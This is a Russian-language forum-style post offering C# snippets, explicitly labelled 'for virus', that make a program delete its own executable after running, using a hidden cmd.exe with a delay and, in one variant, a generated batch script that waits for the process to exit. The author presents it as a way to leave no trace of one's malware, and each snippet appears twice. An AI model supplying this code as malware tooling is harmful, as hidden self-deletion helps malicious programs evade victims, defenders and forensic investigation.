Source - Self-removal program (for virus) C#

Никто не хочет оставлять после себя какое-либо тело от вашей программы(вируса)
поэтому мы сделаем самоудаление программы после окончания всех ею функций!)
Пользуемся!!

Для формы:

ProcessStartInfo Flash = new ProcessStartInfo();
Flash.Arguments = "/C choice /C Y /N /D Y /T 3 & Del" + Application.ExecutablePath; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe";Process.Start(Flash);
Process.GetCurrentProcess().Kill();

Code

ProcessStartInfo Flash = new ProcessStartInfo();

Flash.Arguments = "/C choice /C Y /N /D Y /T 3 & Del" + Application.ExecutablePath; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe";Process.Start(Flash);

Process.GetCurrentProcess().Kill();

Для консоли:

ProcessStartInfo Flash = new ProcessStartInfo();

Flash.Arguments = "/C choice /C Y /N /D Y /T 3 &
Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\""; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe"; Process.Start(Flash).Dispose();
Process.GetCurrentProcess().Kill();

Code

ProcessStartInfo Flash = new ProcessStartInfo();



Flash.Arguments = "/C choice /C Y /N /D Y /T 3 &

Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\""; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe"; Process.Start(Flash).Dispose();

Process.GetCurrentProcess().Kill();

Так же можно с помощью скрипта:

public static void InitiateSelfDestructSequence()

{
string batchScriptName = "BatchScript.bat";
using (StreamWriter writer = File.AppendText(batchScriptName))
{
writer.WriteLine(":Loop");
writer.WriteLine("Tasklist /fi \"PID eq " + Process.GetCurrentProcess().Id.ToString() + "\" | find \":\"");
writer.WriteLine("if Errorlevel 1 (");
writer.WriteLine(" Timeout /T 1 /Nobreak");
writer.WriteLine(" Goto Loop");
writer.WriteLine(")");
writer.WriteLine("Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"");
}
Process.Start(new ProcessStartInfo() { Arguments = "/C " + batchScriptName + " & Del " + batchScriptName, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" });
}

Code

public static void InitiateSelfDestructSequence()



{

string batchScriptName = "BatchScript.bat";

using (StreamWriter writer = File.AppendText(batchScriptName))

{

writer.WriteLine(":Loop");

writer.WriteLine("Tasklist /fi \"PID eq " + Process.GetCurrentProcess().Id.ToString() + "\" | find \":\"");

writer.WriteLine("if Errorlevel 1 (");

writer.WriteLine(" Timeout /T 1 /Nobreak");

writer.WriteLine(" Goto Loop");

writer.WriteLine(")");

writer.WriteLine("Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"");

}

Process.Start(new ProcessStartInfo() { Arguments = "/C " + batchScriptName + " & Del " + batchScriptName, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" });

}

GL HF